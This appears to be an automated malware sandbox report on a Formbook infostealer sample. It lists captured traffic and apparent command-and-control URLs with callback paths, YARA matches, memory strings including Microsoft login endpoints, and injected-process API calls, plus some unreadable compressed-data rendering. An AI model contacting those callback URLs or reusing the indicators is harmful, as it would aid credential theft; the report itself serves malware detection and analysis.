3156}v8\|Q7{LI.'vwm$9:I)qVH$%o;P(X\|g5(;kMl;b4}~l;mVtwwW]Xvk8&&m97gv!~hD!),l`9fP+y"vJTn,6R9B)iwBJnGZ9t.hipghd4eXZl[/74R(`>N$-tBZvCF7$7r%.Q}74A5z3M![#fCf:X8t;^Nxc[mt.e2%?3'(\0(L),o/ZomLnAe'DA;}5n
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 03 Jul 2024 16:54:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Set-Cookie: slv_session_a09c0148b9fdb1e1201753b66346053d=756559287fe03a4415a77fd29eb7083c%7C%7C1720198462%7C%7C1720194862%7C%7C3fd2ead987855aa39d85578e2a4e75dd; expires=Fri, 02-Aug-2024 16:54:22 GMT; Max-Age=2592000; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidateSet-Cookie: PHPSESSID=srdaoiq9gdvc81bcuceegectf2; path=/Pragma: no-cacheLink: <https://primefindsstore.shop/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 33 31 35 36 0d 0a 1f 8b 08 00 00 00 00 00 02 03 ed 7d f9 76 db 38 d2 ef df d3 e7 7c ef 80 51 cf 37 b6 7b 4c 49 d4 2e 27 76 8f 77 a7 bd c4 6d c9 c9 24 93 39 3a 10 09 49 8c 29 92 c3 c5 b6 92 93 07 ba af 71 9f ec 56 01 a4 04 48 24 25 6f dd 99 3b 9d c5 96 b0 fc 50 28 14 0a 85 02 58 7c fd 67 d3 35 c2 89 c7 c8 28 1c db 3b ff f3 c3 6b fc 4d 6c ea 0c b7 0b cc d1 ae 3b 05 62 d8 34 08 b6 0b 8e ab 7d 0e 0a e4 7e 6c 3b f0 6d 14 86 de 56 a9 74 77 77 57 bc ab 16 5d 7f 58 d2 db ed 76 09 6b 17 38 0c a3 26 fc 26 f0 e7 b5 6d 39 37 c4 67 f6 76 21 18 b9 7e 68 44 21 b1 0c d7 29 90 91 cf 06 02 2a 00 2c cf b7 c6 6c 60 39 66 10 84 ae cf 8a 50 d8 2b dd 79 1a 14 0d 99 13 96 22 cf 76 a9 19 94 2a e5 4a ad 54 6e 96 fa 2c 08 b5 80 d9 36 f3 03 ad 52 d6 06 f4 b6 e8 39 c3 42 29 69 77 cc 42 4a 8c 11 f5 03 16 6e 17 ae bb 47 5a ab a0 e4 39 74 cc b6 0b b7 16 bb f3 80 2e e8 a9 68 69 bb 70 67 99 e1 68 db 64 b7 96 c1 34 fe 65 93 58 8e 15 5a d4 d6 02 83 da 6c 5b 2f 96 37 c7 90 34 8e c6 52 0a 19 d3 fb f9 a4 28 60 3e ff 4e fb 90 e4 b8 9b 24 18 f9 c0 11 2d 74 b5 81 15 42 0a 12 15 93 15 5a a1 cd 76 08 b9 a4 43 46 1c 37 24 03 37 72 cc d7 25 91 2e 51 bd e6 bb 7d 37 0c d6 a6 34 af 41 d3 9a 35 86 7a 9a e7 33 ec d3 96 4d fd 21 5b 23 a5 9d 1f 66 43 b0 66 3a 01 16 18 b0 d0 18 ad 89 11 58 13 e3 38 74 dd a1 cd 8a 86 3b 5e ad 4e da 78 cd d7 0c c2 89 cd 82 11 63 e1 1a b1 cc ed b5 5b c7 a8 f4 a8 6d f3 74 cd 08 82 04 2e 96 a7 65 32 10 8e d8 98 05 25 3f ea 33 27 28 81 5c b2 30 28 01 4c 29 c1 2c c2 97 9f 6f 99 8f bc 2f 96 d7 08 ca f6 f6 5a c8 ee c3 12 6f 6d cc 4c 8b 6e af 41 f1 65 a4 82 a8 85 e3 27 93 f8 cc 44 41 3b 7d db 35 6e Data Ascii: 3156}v8\|Q7{LI.'vwm$9:I)qVH$%o;P(X\|g5(;kMl;b4}~l;mVtwwW]Xvk8&&m97gv!~hD!),l`9fP+y"vJTn,6R9B)iwBJnGZ9t.hipghd4eXZl[/74R(`>N$-tBZvCF7$7r%.Q}74A5z3M![#fCf:X8t;^Nxc[mt.e2%?3'(\0(L),o/ZomLnAe'DA;}5n

Source: sc.exe, 0000000D.00000002.3946994371.0000000004278000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.0000000003AA8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://bqtt8ppp.com:301
Source: sc.exe, 0000000D.00000002.3946994371.0000000004BE4000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.0000000004414000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3948817261.0000000005854000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bayviewcribbage.com
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3948817261.0000000005854000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bayviewcribbage.com/odz6/
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: sc.exe, 0000000D.00000003.2503494724.0000000007EDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: sc.exe, 0000000D.00000002.3942849584.0000000002F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: sc.exe, 0000000D.00000002.3946994371.000000000509A000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.00000000048CA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr
Source: sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/email_website/homepage-baukasten/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/login/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/neue-top-level-domain/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/unternehmen/datenschutz/
Source: sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.united-domains.de/unternehmen/kontakt/

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe.1df0bbf5348.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe.1df0bbf5348.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0042B163 NtClose,	6_2_0042B163
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033135C0 NtCreateMutant,LdrInitializeThunk,	6_2_033135C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312B60 NtClose,LdrInitializeThunk,	6_2_03312B60
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03312DF0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03312C70
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03314340 NtSetContextThread,	6_2_03314340
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03313010 NtOpenDirectoryObject,	6_2_03313010
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03313090 NtSetValueKey,	6_2_03313090
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03314650 NtSuspendThread,	6_2_03314650
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312BA0 NtEnumerateValueKey,	6_2_03312BA0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312B80 NtQueryInformationFile,	6_2_03312B80
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312BF0 NtAllocateVirtualMemory,	6_2_03312BF0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312BE0 NtQueryValueKey,	6_2_03312BE0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312AB0 NtWaitForSingleObject,	6_2_03312AB0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312AF0 NtWriteFile,	6_2_03312AF0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312AD0 NtReadFile,	6_2_03312AD0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033139B0 NtGetContextThread,	6_2_033139B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312F30 NtCreateSection,	6_2_03312F30
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312F60 NtCreateProcessEx,	6_2_03312F60
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312FB0 NtResumeThread,	6_2_03312FB0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312FA0 NtQuerySection,	6_2_03312FA0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312F90 NtProtectVirtualMemory,	6_2_03312F90
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312FE0 NtCreateFile,	6_2_03312FE0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312E30 NtWriteVirtualMemory,	6_2_03312E30
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312EA0 NtAdjustPrivilegesToken,	6_2_03312EA0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312E80 NtReadVirtualMemory,	6_2_03312E80
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312EE0 NtQueueApcThread,	6_2_03312EE0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312D30 NtUnmapViewOfSection,	6_2_03312D30
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312D10 NtMapViewOfSection,	6_2_03312D10
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03313D10 NtOpenProcessToken,	6_2_03313D10
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312D00 NtSetInformationFile,	6_2_03312D00
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03313D70 NtOpenThread,	6_2_03313D70
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312DB0 NtEnumerateKey,	6_2_03312DB0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312DD0 NtDelayExecution,	6_2_03312DD0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312C00 NtQueryInformationProcess,	6_2_03312C00
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312C60 NtCreateKey,	6_2_03312C60
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312CA0 NtQueryInformationToken,	6_2_03312CA0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312CF0 NtOpenProcess,	6_2_03312CF0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03312CC0 NtQueryVirtualMemory,	6_2_03312CC0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B4340 NtSetContextThread,LdrInitializeThunk,	13_2_035B4340
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B3090 NtSetValueKey,LdrInitializeThunk,	13_2_035B3090
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B4650 NtSuspendThread,LdrInitializeThunk,	13_2_035B4650
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B35C0 NtCreateMutant,LdrInitializeThunk,	13_2_035B35C0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2B60 NtClose,LdrInitializeThunk,	13_2_035B2B60
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	13_2_035B2BF0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2BE0 NtQueryValueKey,LdrInitializeThunk,	13_2_035B2BE0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2BA0 NtEnumerateValueKey,LdrInitializeThunk,	13_2_035B2BA0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2AD0 NtReadFile,LdrInitializeThunk,	13_2_035B2AD0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2AF0 NtWriteFile,LdrInitializeThunk,	13_2_035B2AF0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B39B0 NtGetContextThread,LdrInitializeThunk,	13_2_035B39B0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2F30 NtCreateSection,LdrInitializeThunk,	13_2_035B2F30
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2FE0 NtCreateFile,LdrInitializeThunk,	13_2_035B2FE0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2FB0 NtResumeThread,LdrInitializeThunk,	13_2_035B2FB0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2EE0 NtQueueApcThread,LdrInitializeThunk,	13_2_035B2EE0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2E80 NtReadVirtualMemory,LdrInitializeThunk,	13_2_035B2E80
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2D10 NtMapViewOfSection,LdrInitializeThunk,	13_2_035B2D10
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2D30 NtUnmapViewOfSection,LdrInitializeThunk,	13_2_035B2D30
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2DD0 NtDelayExecution,LdrInitializeThunk,	13_2_035B2DD0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2DF0 NtQuerySystemInformation,LdrInitializeThunk,	13_2_035B2DF0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2C70 NtFreeVirtualMemory,LdrInitializeThunk,	13_2_035B2C70
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2C60 NtCreateKey,LdrInitializeThunk,	13_2_035B2C60
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2CA0 NtQueryInformationToken,LdrInitializeThunk,	13_2_035B2CA0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B3010 NtOpenDirectoryObject,	13_2_035B3010
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2B80 NtQueryInformationFile,	13_2_035B2B80
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2AB0 NtWaitForSingleObject,	13_2_035B2AB0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2F60 NtCreateProcessEx,	13_2_035B2F60
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2F90 NtProtectVirtualMemory,	13_2_035B2F90
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2FA0 NtQuerySection,	13_2_035B2FA0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2E30 NtWriteVirtualMemory,	13_2_035B2E30
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2EA0 NtAdjustPrivilegesToken,	13_2_035B2EA0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B3D70 NtOpenThread,	13_2_035B3D70
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B3D10 NtOpenProcessToken,	13_2_035B3D10
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2D00 NtSetInformationFile,	13_2_035B2D00
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2DB0 NtEnumerateKey,	13_2_035B2DB0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2C00 NtQueryInformationProcess,	13_2_035B2C00
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2CC0 NtQueryVirtualMemory,	13_2_035B2CC0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B2CF0 NtOpenProcess,	13_2_035B2CF0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E27B70 NtCreateFile,	13_2_02E27B70
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E27E40 NtClose,	13_2_02E27E40
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E27F90 NtAllocateVirtualMemory,	13_2_02E27F90
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E27CD0 NtReadFile,	13_2_02E27CD0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E27DB0 NtDeleteFile,	13_2_02E27DB0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34681CC0	0_2_00007FFD34681CC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD346850B0	0_2_00007FFD346850B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD346844FC	0_2_00007FFD346844FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD3468CA60	0_2_00007FFD3468CA60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD3468EF49	0_2_00007FFD3468EF49
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34694F38	0_2_00007FFD34694F38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD3468BF39	0_2_00007FFD3468BF39
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34693F62	0_2_00007FFD34693F62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34681048	0_2_00007FFD34681048
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34689828	0_2_00007FFD34689828
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34689820	0_2_00007FFD34689820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD346908EA	0_2_00007FFD346908EA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34688B38	0_2_00007FFD34688B38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD346947F9	0_2_00007FFD346947F9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34760003	0_2_00007FFD34760003
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_004030A0	6_2_004030A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00402AC0	6_2_00402AC0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00402AB8	6_2_00402AB8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00402370	6_2_00402370
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0040FC8A	6_2_0040FC8A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0040FC93	6_2_0040FC93
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_004165EE	6_2_004165EE
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_004165F3	6_2_004165F3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0042D603	6_2_0042D603
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0040FEB3	6_2_0040FEB3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0040DF2B	6_2_0040DF2B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0040DF33	6_2_0040DF33
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339132D	6_2_0339132D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD34C	6_2_032CD34C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339A352	6_2_0339A352
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0332739A	6_2_0332739A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A03E6	6_2_033A03E6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE3F0	6_2_032EE3F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E52A0	6_2_032E52A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D0100	6_2_032D0100
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337A118	6_2_0337A118
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AB16B	6_2_033AB16B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0331516C	6_2_0331516C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A01AA	6_2_033A01AA
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EB1B0	6_2_032EB1B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033981CC	6_2_033981CC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033970E9	6_2_033970E9
